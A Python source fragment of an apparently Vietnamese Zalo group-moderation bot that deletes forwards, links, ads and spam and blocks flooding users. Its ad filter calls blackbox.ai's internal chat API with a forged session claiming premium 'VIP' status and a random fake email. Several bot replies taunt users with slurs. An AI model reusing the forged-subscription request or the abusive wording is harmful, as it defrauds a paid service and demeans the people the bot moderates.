			return

		elif cmd == "wl" and len(parts) >= 2 and parts[1] == "remove":
			uids = extract_uids()
			if not uids:
				self.replyMessage(Message(text="Thiếu user_id. Dùng: `!wl remove <user_id> [<user_id>...]` hoặc reply/mention user."), message_object, thread_id, thread_type)
				return

			results = []
			for uid in uids:
				if uid in self.whiteList:
					self.whiteList.remove(uid)
					results.append(f"– Đã xóa `{uid}`.")
				else:
					results.append(f"– `{uid}` không có trong whitelist.")
			self._save_whitelist()
			reply = "Kết quả xoá whitelist:\n" + "\n".join(results)
			self.replyMessage(Message(text=reply), message_object, thread_id, thread_type)
			return

		else:
			self.replyMessage(Message(text=("Cú pháp không đúng. Sử dụng:\n`!wl list`\n`!wl add <user_id> [<user_id>...]` hoặc reply/mention user\n`!wl remove <user_id> [<user_id>...]` hoặc reply/mention user")), message_object, thread_id, thread_type)

	def antiForward(self, mid, author_id, message, message_object, thread_id, thread_type):
		if (author_id in self.db.fetch_whitelist(thread_id)) or (author_id in self.selfid):
			return

		def deleteTinNhan():
			ditmemay = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
			# print(ditmemay)
			if ditmemay.error_code == 112:
				cc = self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)
				if cc.error_code == 0:
					return True
				else:
					return False
			else:
				return True

		if "reference" in message_object and message_object.reference:
			if deleteTinNhan():
				style = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				self.replyMessage(Message(text="@member Forward Message Is Not Support In This Group, Your Message Is Delete!", style=style, mention=Mention(author_id, length=7, offset=0)), message_object, thread_id, thread_type, ttl=30000)
				self.forwardTime.setdefault(thread_id, {})[author_id] = int(time.time() * 1000)
	
	def anti_stkAnimation(self, mid, author_id, message, message_object, thread_id, thread_type):
		def deleteTinNhan():
			ditmemay = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
			# print(ditmemay)
			if ditmemay.error_code == 112:
				cc = self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)
				if cc.error_code == 0:
					return True
				else:
					return False
			else:
				return True
		
		if message_object.msgType == "chat.sticker":
			if message_object.content.get("type") == 3:
				print(message_object)
				deleteTinNhan()
			# Message(actionId='11156033071097', msgId='6986832123384', cliMsgId='1757246173856', msgType='chat.sticker', uidFrom='0', idTo='7716647977067779028', dName='-tahnᅠᅠ', ts='1757246173922', status=1, content={'id': 27598, 'catId': 10746, 'type': 3}, notify='1', ttl=0, userId='0', uin='0', topOut='0', topOutTimeOut='0', topOutImprTimeOut='0', propertyExt={'color': -1, 'size': -1, 'type': 1, 'subType': 0, 'ext': '{"sSrcType":-1,"sSrcStr":"","msg_warning_type":0}'}, paramsExt={'countUnread': 1, 'containType': 0, 'platformType': 0}, reference={'type': 3, 'data': '{"logSrcType":3,"fwLvl":1,"cl":-1,"id":"2febca286c1e375b30eec88af3eb9dcd","rootMsgRef":{"logSrcType":3,"id":"2febca286c1e375b30eec88af3eb9dcd","ts":1757245942772},"ts":1757245942772}'}, cmd=521, st=3, at=0, realMsgId='0')
	def antiAds(self, mid, author_id, message, message_object, thread_id, thread_type):
		if (author_id in self.db.fetch_whitelist(thread_id)) or (author_id in self.selfid):
			return

		def deleteTinNhan():
			ditmemay = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
			# print(ditmemay)
			if ditmemay.error_code == 112:
				self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)

		def truonggaysex(content, url=None):
			headers = {
				"Host": "www.blackbox.ai",
				"content-length": "7862",
				"sec-ch-ua": "\"Not-A.Brand\";v\u003d\"99\", \"Chromium\";v\u003d\"124\"",
				"sec-ch-ua-platform": "\"Linux\"",
				"sec-ch-ua-mobile": "?0",
				"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
				"content-type": "application/json",
				"accept": "*/*",
				"origin": "https://www.blackbox.ai",
				"sec-fetch-site": "same-origin",
				"sec-fetch-mode": "cors",
				"sec-fetch-dest": "empty",
				"referer": "https://www.blackbox.ai/chat/NDyJMzT",
				"accept-encoding": "gzip, deflate, br",
				"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5"
			}
			noidungchatgpt = f"""Tôi sẽ cho bạn một câu gồm các từ viết tắt, tiếng mẹo của tiếng Việt và cách nói chuyện pha trộn tiếng Anh như "cần pass lại", "sell tool này",...  
- Nếu câu có ý nghĩa mua bán hoặc cho thuê, trả lời "có".  
- Nếu câu thuộc ngôn ngữ đời sống, giao tiếp, đùa giỡn như "duma", "bán", "mua cho t", "bán @Siusiu giá rẻ", "ra tiệm mua" hoặc chứa các ký tự như "=", "chấp", "qc", thì trả lời "không".  
- Nếu câu không liên quan đến mua bán hoặc cho thuê, trả lời "không".  
- Nếu câu chỉ có 1 từ nhưng liên quan đến nội dung mua bán vd: "có", "bán", "mua" thì trả lời "không".
- Chỉ trả lời "có"hoặc "không", không có dấu "." ở cuối câu.  
Nội dung: {content}"""
			if url:
				noidungchatgpt = f"""Tôi sẽ cho bạn một câu gồm các từ viết tắt, tiếng mẹo của tiếng Việt và cách nói chuyện pha trộn tiếng Anh như "cần pass lại", "sell tool này",...  
- Nếu câu có ý nghĩa mua bán hoặc cho thuê, trả lời "có".  
- Nếu câu thuộc ngôn ngữ đời sống, giao tiếp, đùa giỡn như "duma", "bán", "mua cho t", "bán @Siusiu giá rẻ", "ra tiệm mua" hoặc chứa các ký tự như "=", "chấp", "qc", thì trả lời "không".  
- Nếu câu không liên quan đến mua bán hoặc cho thuê, trả lời "không".  
- Nếu câu chỉ có 1 từ nhưng liên quan đến nội dung mua bán vd: "có", "bán", "mua" thì trả lời "không".
- Chỉ trả lời "có"hoặc "không", không có dấu "." ở cuối câu."""

				datta = {
					"messages": [
						{
							"content": str(noidungchatgpt),
								"role": "user",
								"data": {
									"imagesData": [{
										"filePath": "MultipleFiles/1734431719533_314614144.jpg", 
										"contents": f"data:image/jpeg;base64,{base64.b64encode(self._session.get(url).content).decode()}"
									}], 
								"fileText": "", 
								"title": "" 
								}
						}
					],
					"id": "RsY2uaH",
					"previewToken": None,
					"userId": None,
					"codeModelMode": True,
					"trendingAgentMode": {},
					"isMicMode": False,
					"userSystemPrompt": None,
					"maxTokens": 1024,
					"playgroundTopP": None,
					"playgroundTemperature": None,
					"isChromeExt": False,
					"githubToken": "",
					"clickedAnswer2": False,
					"clickedAnswer3": False,
					"clickedForceWebSearch": False,
					"visitFromDelta": False,
					"isMemoryEnabled": False,
					"mobileClient": False,
					"userSelectedModel": None,
					"userSelectedAgent": "VscodeAgent",
					"validated": "a38f5889-8fef-46d4-8ede-bf4668b6a9bb",
					"imageGenerationMode": False,
					"imageGenMode": "autoMode",
					"webSearchModePrompt": False,
					"deepSearchMode": False,
					"promptSelection": "chat",
					"domains": None,
					"vscodeClient": False,
					"codeInterpreterMode": False,
					"customProfile": {
						"name": "",
						"occupation": "",
						"traits": [],
						"additionalInfo": "",
						"enableNewChats": False
					},
					"webSearchModeOption": {
						"autoMode": True,
						"webMode": False,
						"offlineMode": False
					},
					"session": {
						"user": {
							"name": "dditj me may",
							"email": generate_random_gmail(),
							"image": "https://lh3.googleusercontent.com/a/ACg8ocIjiRwt1IE6fbCErYfdSM7ugoKv2ABQE-vV12_tafBV2rikP8Y\u003ds96-c",
							"id": "c0371d96-1168-42ea-b258-8c44f85af069"
						},
						"expires": "2025-10-10T15:37:52.186Z",
						"isNewUser": False
					},
					"isPremium": True,
					"subscriptionCache": {
						"status": "VIP",
						"expiryTimestamp": None,
						"lastChecked": 1757518634985,
						"isTrialSubscription": False,
						"hasPaymentVerificationFailure": False,
						"verificationFailureTimestamp": None,
						"requiresAuthentication": False
					},
					"beastMode": True,
					"reasoningMode": True,
					"designerMode": False,
					"workspaceId": "",
					"asyncMode": False,
					"integrations": {},
					"isTaskPersistent": False,
					"selectedElement": None
				}
			else:
				datta = {
					"messages": [
						{
							"content": str(noidungchatgpt),
								"role": "user"
						}
					],
					"id": "RsY2uaH",
					"previewToken": None,
					"userId": None,
					"codeModelMode": True,
					"trendingAgentMode": {},
					"isMicMode": False,
					"userSystemPrompt": None,
					"maxTokens": 1024,
					"playgroundTopP": None,
					"playgroundTemperature": None,
					"isChromeExt": False,
					"githubToken": "",
					"clickedAnswer2": False,
					"clickedAnswer3": False,
					"clickedForceWebSearch": False,
					"visitFromDelta": False,
					"isMemoryEnabled": False,
					"mobileClient": False,
					"userSelectedModel": None,
					"userSelectedAgent": "VscodeAgent",
					"validated": "a38f5889-8fef-46d4-8ede-bf4668b6a9bb",
					"imageGenerationMode": False,
					"imageGenMode": "autoMode",
					"webSearchModePrompt": False,
					"deepSearchMode": False,
					"promptSelection": "chat",
					"domains": None,
					"vscodeClient": False,
					"codeInterpreterMode": False,
					"customProfile": {
						"name": "",
						"occupation": "",
						"traits": [],
						"additionalInfo": "",
						"enableNewChats": False
					},
					"webSearchModeOption": {
						"autoMode": True,
						"webMode": False,
						"offlineMode": False
					},
					"session": {
						"user": {
							"name": "dditj me may",
							"email": generate_random_gmail(),
							"image": "https://lh3.googleusercontent.com/a/ACg8ocIjiRwt1IE6fbCErYfdSM7ugoKv2ABQE-vV12_tafBV2rikP8Y\u003ds96-c",
							"id": "c0371d96-1168-42ea-b258-8c44f85af069"
						},
						"expires": "2025-10-10T15:37:52.186Z",
						"isNewUser": False
					},
					"isPremium": True,
					"subscriptionCache": {
						"status": "VIP",
						"expiryTimestamp": None,
						"lastChecked": 1757518634985,
						"isTrialSubscription": False,
						"hasPaymentVerificationFailure": False,
						"verificationFailureTimestamp": None,
						"requiresAuthentication": False
					},
					"beastMode": True,
					"reasoningMode": False,
					"designerMode": False,
					"workspaceId": "",
					"asyncMode": False,
					"integrations": {},
					"isTaskPersistent": False,
					"selectedElement": None
				}
			url = "https://www.blackbox.ai/api/chat"
			response = self._session.post(url, json=datta, headers=headers)

			content_encoding = response.headers.get('content-encoding')
			if content_encoding:
				try:
					response_text = self.giaima(response.content, content_encoding)
				except Exception as e:
					pass    
					response_text = response.text
			else:
				response_text = response.text

			index = response_text.find("$~~~$", 6)
			if index != -1:
				noidung = response_text[int(index + len("$~~~$")):]
			else:
				noidung = response_text

			noidung = noidung.replace('.', '')
			noidung = noidung.strip()
			noidung = noidung.replace("$~~~$", "").strip()
			sex = noidung.find("</think>")
			if sex != -1:
				noidung = noidung[sex + len("</think>"):]
			print(noidung)
			if noidung.lower() == "có":
				return True
			elif noidung.lower() == "không":
				return False
			elif noidung.lower()[:5] == "không":
				return False
			elif noidung.lower()[:2] == "có":
				return True
			else:
				return None

		if message_object.msgType == "webchat" and isinstance(message, str):
			tet = translit(message.lower(), 'ru', reversed=True)
			ads = truonggaysex(tet)
			if ads == True:
				deleteTinNhan()
		if message_object.msgType == "chat.photo":
			href = message_object.content.get('href', '').replace("jxl", "jpg")
			if truonggaysex("", href) == True:
				deleteTinNhan()
		if isinstance(message_object.content, dict):
			title = message_object.content.get('title', '').lower()
			if title != '' and truonggaysex(title) == True:
				deleteTinNhan()


	def antiSpam(self, mid, author_id, message, message_object, thread_id, thread_type):
		# if (author_id in self.whiteList) or (author_id in self.selfid):
			# return
		if (author_id in self.db.fetch_whitelist(thread_id)) or (author_id in self.selfid):
			return

		if message_object.msgType == "chat.photo" or message_object.msgType == "chat.reaction" or message_object.msgType == "share.file" or message_object.msgType == "chat.video.msg" or message_object.msgType == "chat.undo":
			return

		self.last_user = author_id
		current_time = time.time()
		timestamps = self.message_counts.get(author_id, [])
		if not timestamps or current_time - timestamps[-1] > 5:
			self.message_counts[author_id] = [current_time]
		else:
			timestamps.append(current_time)
			suffix = [timestamps[-1]]
			for ts in reversed(timestamps[:-1]):
				if suffix[0] - ts <= 5:
					suffix.insert(0, ts)
				else:
					break

		self.message_counts[author_id] = suffix
		# print(self.message_counts[author_id])
		# print(len(self.message_counts[author_id]))
		if len(self.message_counts[author_id]) == 5:
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			self.send(Message(text=f"• Anh Nhắc Em @gay Nhắn Chậm Lại Trước Khi Mày Bị Anh Đá Khỏi Đây!", style=style_error, mention=Mention(uid=author_id, length=4, offset=14)), thread_id, thread_type=thread_type, ttl=10000)
			return
		elif len(self.message_counts[author_id]) == 9:
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			self.send(Message(text=f"• Muốn Anh Đá Mày Ra Khỏi Đây Hả @gay", style=style_error, mention=Mention(uid=author_id, length=4, offset=33)), thread_id, thread_type=thread_type, ttl=10000)
			return

		elif len(self.message_counts[author_id]) > self.MAX_MESSAGES_PER_SECOND:
			suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			ccldid = self.fetchGroupInfo(thread_id)
			group_info = ccldid['gridInfoMap'][thread_id]
			groupName = group_info['name']
			if suc.get('error_code') == 0:
				self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Spam", style=style_error), thread_id, thread_type=thread_type)
				self.send(Message(text=f"• You Have Been Blocked From Group {groupName} By {self.myName} For Spam\n• If You Think This Is A Bug You Can Contact To Tahn For Support\n• https://zaloapp.com/qr/p/19h94p1v7aily", style=style_error), thread_id=author_id, thread_type=ThreadType.USER)
				self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
				if author_id in self.selfid:
					self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
				return

	def antiSpamUser(self, mid, author_id, message, message_object, thread_id, thread_type):
		if author_id == self.uid:
			return

		current_time = time.time()
		timestamps = self.messageCountsUser.get(author_id, [])
		if not timestamps or current_time - timestamps[-1] > 5:
			self.messageCountsUser[author_id] = [current_time]
			# suffix = 0
		else:
			timestamps.append(current_time)
			suffix = [timestamps[-1]]
			for ts in reversed(timestamps[:-1]):
				if suffix[0] - ts <= 5:
					suffix.insert(0, ts)
				else:
					break
			self.messageCountsUser[author_id] = suffix

		# print(self.messageCountsUser[author_id])
		# print(len(self.messageCountsUser[author_id]))
		if len(self.messageCountsUser[author_id]) > self.MAX_MESSAGES_PER_SECOND and author_id != "4259526313943550175":
			cc = self.blockUser(userId=thread_id).error_code
			if cc == 0:
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				self.send(Message(text=f"• Rate Limit Message Per Second You Is Blocked\n• Pls Wait 10 minutes to be unblocked", style=style_error), thread_id=thread_id, thread_type=thread_type)
				time.sleep(600)
				self.unblockUser(thread_id)
				self.send(Message(text=f"• Your Has Been Unblocked", style=style_error), thread_id=thread_id, thread_type=thread_type)
				

	def parseMessageObj(self, message_object, thread_id, thread_type):
		mention = None
		if message_object.mentions:
			if len(message_object.mentions) == 1:
				mention = Mention(message_object.mentions[0]["uid"], length=message_object.mentions[0]["len"], offset=message_object.mentions[0]["pos"])
			elif len(message_object.mentions) > 1:
				mention = []
				for i in message_object.mentions:
					mention.append(Mention(i.get("uid"), length=i.get("len"), offset=i.get("pos")))
				mention = MultiMention(mention)
		
		if message_object.msgType == "webchat":
			if message_object.quote:
				replyMsg = User(uidFrom=message_object.quote.ownerId, msgId=message_object.quote.globalMsgId, cliMsgId=message_object.quote.cliMsgId, msgType=message_object.quote.cliMsgType, content=message_object.quote.msg, ts=message_object.quote.ts, attachHehehehe=message_object.quote.attach)
				print(replyMsg.content)
				print(message_object.quote)
				print(message_object.quote.msg)
				self.replyMessage(Message(text=message_object.content, mention=mention), replyMsg, thread_id, thread_type)
			else:
				self.send(Message(text=message_object.content, mention=mention), thread_id=thread_id, thread_type=thread_type)
		elif message_object.msgType == "chat.recommended":
			message = None
			if message_object.content and "action" in message_object.content and message_object.content.action == "recommened.link":
				# message = None
				linkUrl = None
				thumbnailUrl = None
				domainUrl = None
				title = None
				desc = None
				if message_object.content and "title" in message_object.content:
					message = Message(message_object.content.get("title", None), mention=mention)
					
				if message_object.content and "href" in message_object.content:
					linkUrl = message_object.content.get("href", None)
				if message_object.content and "thumb" in message_object.content:
					thumbnailUrl = message_object.content.get("thumb", None)
				if message_object.content and "params" in message_object.content and "src" in message_object.content.params:
					domainUrl = json.loads(message_object.content.params).get("src", None)
				if message_object.content and "params" in message_object.content and "mediaTitle" in message_object.content.params:
					title = json.loads(message_object.content.params).get("mediaTitle", None)
				if message_object.content and "description" in message_object.content:
					desc = message_object.content.get("description", None)
				self.sendLink(linkUrl=linkUrl, title=title, thread_id=thread_id, thread_type=thread_type, thumbnailUrl=thumbnailUrl, domainUrl=domainUrl, desc=desc, message=message)
			elif message_object.content and "action" in message_object.content and message_object.content.action == "recommened.user":
				qrCodeUrl = json.loads(message_object.content.description).get("qrCodeUrl", None)
				userId = message_object.content.params
				phone = json.loads(message_object.content.description).get("phone", None)
				self.sendBusinessCard(userId=userId, qrCodeUrl=qrCodeUrl, thread_id=thread_id, thread_type=thread_type, phone=phone)
		
	def antiLink(self, mid, author_id, message, message_object, thread_id, thread_type):
		if (author_id in self.db.fetch_whitelist(thread_id)) or (author_id in self.selfid):
			return

		url_pattern = r'(?:https?://|www\.)\S+|\b\w+\.[a-z]+\b'#r'(?:https?://|www\.)\S+|\b\w+\.(?:me|com|net|org|vn|site|sex|edu|dev|sbs|gay|com|net|org|vn|info|biz|io|xyz|me|tv|online|store|club|site|app|blog|dev|tech|cloud|game|shop|click|space|asia|fun|tokyo|xyz|website|cat)\b'
		# print(message_object.content['action'])
		def deleteTinNhan():
			ditmemay = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
			# print(ditmemay)
			if ditmemay.error_code == 112:
				self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)


		if isinstance(message_object.content, dict) and message_object.msgType == "chat.recommended" and message_object.content['action'] == "recommened.link":
			href = message_object.content.get('href', '').lower().replace(" ", "")
			if href and re.search(url_pattern, href):
				deleteTinNhan()
			title = message_object.content.get('title', '').lower().replace(" ", "")
			if title and re.search(url_pattern, title):
				deleteTinNhan()

		if message_object.msgType == "webchat" and isinstance(message, str):
			tet = translit(message.lower(), 'ru', reversed=True).replace(" ", "")
			if re.search(url_pattern, tet):
				deleteTinNhan()

		if message_object.msgType == "chat.photo" or message_object.msgType == "custom.sticker":
			try:
				href = message_object.content.get('href', '').replace("jxl", "jpg")
				response = self._session.get(href)
				if response.status_code == 200:
					image_data = response.content
					# suc = self.imageChecked(image_data)
					ccks = scan_qr_code_from_url(href)
					if not ccks:
						ccks = ""
					else:
						ccks = ccks.replace(" ", "")
					if ccks in ["zaloapp.com/qr/g/", "zalo.me/g/"]:
						deleteTinNhan()
						return
				title = message_object.content.get('title', '').lower().replace(" ", "")
				if title and re.search(url_pattern, title):
					deleteTinNhan()
			except Exception as e:
				traceback.print_exc()
		if message_object.msgType == "chat.video.msg":
			title = message_object.content.get('title', '').lower().replace(" ", "")
			if title and re.search(url_pattern, title):
				deleteTinNhan()

	def locproxy(self, mid, author_id, message, message_object, thread_id, thread_type):
		if message_object.msgType == "share.file":
			link = message_object.content['href']
			response = self._session.get(link)
			self.replyMessage(Message(text="Chờ xíu..."), message_object, thread_id, thread_type, ttl=30000)
			self.proxy.remove(author_id)
			data = check_proxies(response.text)
			file = ""
			tongproxy = len(data)
			proxyWork = 0
			proxyDie = 0
			countryDict = {}
			for i in data:
				# print(i)
				country = i.get("country")
				if i.get("working") == True:
					file += f"{i.get('ip')}:{i.get('port')}\n"
					proxyWork += 1
				else:
					proxyDie += 1
				countryDict[country] = countryDict.get(country, 0) + 1
			if data != None and file == "":
				self.replyMessage(Message(text="Toàn Bộ Proxy Điều Die"), message_object, thread_id, thread_type, ttl=30000)
			else:
				file = file.encode()
				link = self.UploadFileFromBytes(fileData=file, fileName="proxy.txt", thread_type=thread_type, thread_id=thread_id) + "/tahndev/proxy.txt"
				# UploadFileFromBytes(self, fileData, fileName, thread_id, thread_type):
				self.sendRemoteFile(fileUrl=link, thread_id=thread_id, thread_type=thread_type, fileName="proxy.txt", extension="txt", ttl=300000)
				contryStr = ""
				for c, v in countryDict.items():
					if c == False:
						c = "unknown"
					elif c == None:
						c = "null"
					contryStr += f"{c}: {v}, "
				contryStr = contryStr[:-1]
				contryStr = contryStr[:-1]
				self.replyMessage(Message(text=f"• Tổng Số Proxy: {tongproxy}\n• Tổng Proxy Good: {proxyWork}\n• Tổng Proxy Die: {proxyDie}\n• Country: {contryStr}"), message_object, thread_id, thread_type, ttl=300000)
		else:
			noidung = f"Pls check your file again, I don't see you sent the file"
			self.replyMessage(Message(text=noidung), message_object, thread_id, thread_type, ttl=30000)
			self.proxy.remove(author_id)
		
	def setTtl(self, ttl):
		self.ttl = int(ttl)
		return self.ttl
		
	def inputImeiComandLogin(self, message_object, author_id, message, thread_id, thread_type, *args):
		imei = message.replace(" ", "")
		msgId = self.replyMessage(Message(text="Nhập Cookies (dict, json):"), message_object, thread_id, thread_type, ttl=30000).msgId
		self.registerNextStep(self.inputCookiesCommandLogin, author_id, msgId, imei=imei)
	
	def inputCookiesCommandLogin(self, message_object, author_id, message, thread_id, thread_type, imei, *args):
		try:
			cook = json.loads(message)
		except:
			try:
				cook = json.loads(message.replace("'", '"'))
			except:
				try:
					cook = json.loads(message.content)
				except:
					try:
						cook = json.loads(message.content.replace("'", '"'))
					except:
						try:
							cook = json.loads(message.title)
						except:
							cook = json.loads(message.title.replace("'", '"'))
						
		prefix = random.choice(['!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '+', '=', '?', '~', '_', ':', ';', '₫', '•', '√', 'π'])
		self.replyMessage(Message(text=f"Your bot is launch with prefix {prefix}"), message_object, thread_id, thread_type, ttl=30000).msgId
		try:
			client = ZaloBot('</>', '</>', imei=imei, session_cookies=cook, prefix=prefix)
			linkbox = self.fetchLinkGroup(thread_id).link
			fetchBoxSelf = self.fetchLinkBox(linkbox)
			fetchBoxClient = client.fetchLinkBox(linkbox)
			# print(fetchBoxSelf.setting)
			# print(fetchBoxSelf.setting.joinAppr)
			setting_joinApprNow = fetchBoxSelf.setting.joinAppr
			if setting_joinApprNow == 1:
				self.changeGroupSetting(groupId=fetchBoxSelf.groupId, defaultMode="default", joinAppr=0)
				client.joinbox(linkbox)
				self.changeGroupSetting(groupId=fetchBoxSelf.groupId, defaultMode="default", joinAppr=1)
			else:
				client.joinbox(linkbox)
			
			
			pin, password = client.randomPin()
			client.setPassWord(pin)
			client.hiddenConvers(fetchBoxClient.groupId, thread_type)
			client.muteChat(thread_id=fetchBoxClient.groupId, thread_type=thread_type)
			self.thread_handsome.submit(client._listen_ws)
			phoneClient = client.fetchAccountInfo().profile.phoneNumber.replace("+84", "0")
			# print(phoneClient)
			client.settingUpdate(add_friend_via_phone=1)
			dataAcconut = self.fetchPhoneNumber(phoneClient)
			uidAcc = dataAcconut.uid
			self.send(Message(text=f"Bot @gay is success to verify", mention=Mention(uidAcc, length=4, offset=4)), thread_id, thread_type=thread_type, ttl=60000)
		except Exception:
			self.replyMessage(Message(text="Fail to lauch bot"), message_object, thread_id, thread_type, ttl=30000)
			traceback.print_exc()
			
	def testNextStep(self, message_object, author_id, message, thread_id, thread_type, *args):
		try:
			if message.isdigit():
				self.replyMessage(Message(text=f"Mày chọn số {message} phải ko"), message_object, thread_id, thread_type)
			else:
				self.replyMessage(Message(text="?"), message_object, thread_id, thread_type)
		except Exception as e:
			traceback.print_exc()
				
	
	def anti_botv2(self, mid, author_id, message, message_object, thread_id, thread_type):
		if message_object.quote and int(message_object.at) != 0:
			#quote={'ownerId': 7711754660468580715, 'cliMsgId': 1733708467641, 'globalMsgId': 6111491685398, 'cliMsgType': 1, 'ts': 1733708467701, 'msg': '',
			if message_object.quote['cliMsgId'] + 500 > int(message_object.cliMsgId) and message_object.quote['globalMsgId'] != 0:
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				self.replyMessage(Message(text=f"• Người Dùng {author_id} Có Dấu Hiệu Sử Dụng Bot", style=style_error), message_object, thread_id, thread_type)
				return
			if int(time.time() * 1000) > int(message_object.cliMsgId) and int(message_object.at) != 0:
				pass
			else:
				style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				self.replyMessage(Message(text=f"• Người Dùng {author_id} Có Dấu Hiệu Sử Dụng Bot", style=style_error), message_object, thread_id, thread_type)
				return
			# elif thread_id == "6650146792085854500" and author_id != self.uid and int(message_object.at) == 5:
				# suc = self.blockUsersInGroup(members=author_id, groupId=thread_id)
				# self.addUsersToGroupV1(user_ids=author_id, groupId=thread_id)
				# style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
				# if suc.get('error_code') == 0:
					# self.send(Message(text=f"• Người Dùng {author_id} Đã Bị Chặn Khỏi Group Này Vì Sử Dụng Bot", style=style_error), thread_id, thread_type=thread_type)
		# if message_object.msgType == "chat.photo":
			# style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			# self.replyMessage(Message(text=f"• Người Dùng {author_id} Có Dấu Hiệu Sử Dụng Bot", style=style_error), message_object, thread_id, thread_type)
		if int(message_object.ttl) > 0 and int(message_object.at) != 0:
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=1, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			self.replyMessage(Message(text=f"• Người Dùng {author_id} Có Dấu Hiệu Sử Dụng Bot", style=style_error), message_object, thread_id, thread_type)
			return
	
	def anti_bigfont(self, mid, author_id, message, message_object, thread_id, thread_type):
		# print("function launch done")
		# print(message_object)
		if message_object.propertyExt and 'size' in message_object.propertyExt and message_object.propertyExt['size'] != -1 and message_object.propertyExt['size'] != 0 and "ext" in message_object.propertyExt and message_object.propertyExt["ext"] and "emoji" in message_object.propertyExt["ext"] and json.loads(message_object.propertyExt["ext"])["emoji"]["content"] == 0:
			cc = self.deleteMsg(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, thread_id=thread_id, thread_type=thread_type)
			style = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="14", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			print(cc.error_code)
			if cc.error_code == 0:
				self.replyMessage(Message(text="@member Big Font Message Not Allow In This Group!", style=style, mention=Mention(author_id, length=7, offset=0)), message_object, thread_id, thread_type, ttl=30000)
			
			
		
	def anti_undo(self, mid, author_id, message, message_object, thread_id, thread_type):
		if (author_id in self.db.fetch_whitelist(thread_id)) or (author_id in self.selfid):
			return
			
		if int(message_object.cliMsgId) - 5000 > int(time.time() * 1000):
			self.deleteGroupMsgBypassAntiUndo(msgId=message_object.msgId, clientMsgId=message_object.cliMsgId, ownerId=author_id, groupId=thread_id)
	
	def check_bot(self, mid, author_id, message, message_object, thread_id, thread_type):
		group = self.fetchGroupInfo(thread_id)
		group_info = group.gridInfoMap[thread_id]
		mem_ver_list = group_info['memVerList']
		cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
		result = []
		if message_object.quote and int(message_object.at) != 0:
			if int(time.time() * 1000) - 1000 < message_object.quote['cliMsgId'] and message_object.quote['globalMsgId'] != 0:
				result.append(message_object)
				
		if message_object.msgType == 'chat.recommended' and isinstance(message_object.content, dict) and 'action' in message_object.content and message_object.content.action == "recommened.user":
			if message_object.content.description and 'qrCodeUrl' in json.loads(message_object.content.description):
				chichemtoichet = json.loads(message_object.content.description)['qrCodeUrl']
			else:
				chichemtoichet = ""
			if chichemtoichet == "":
				result.append(message_object)
				
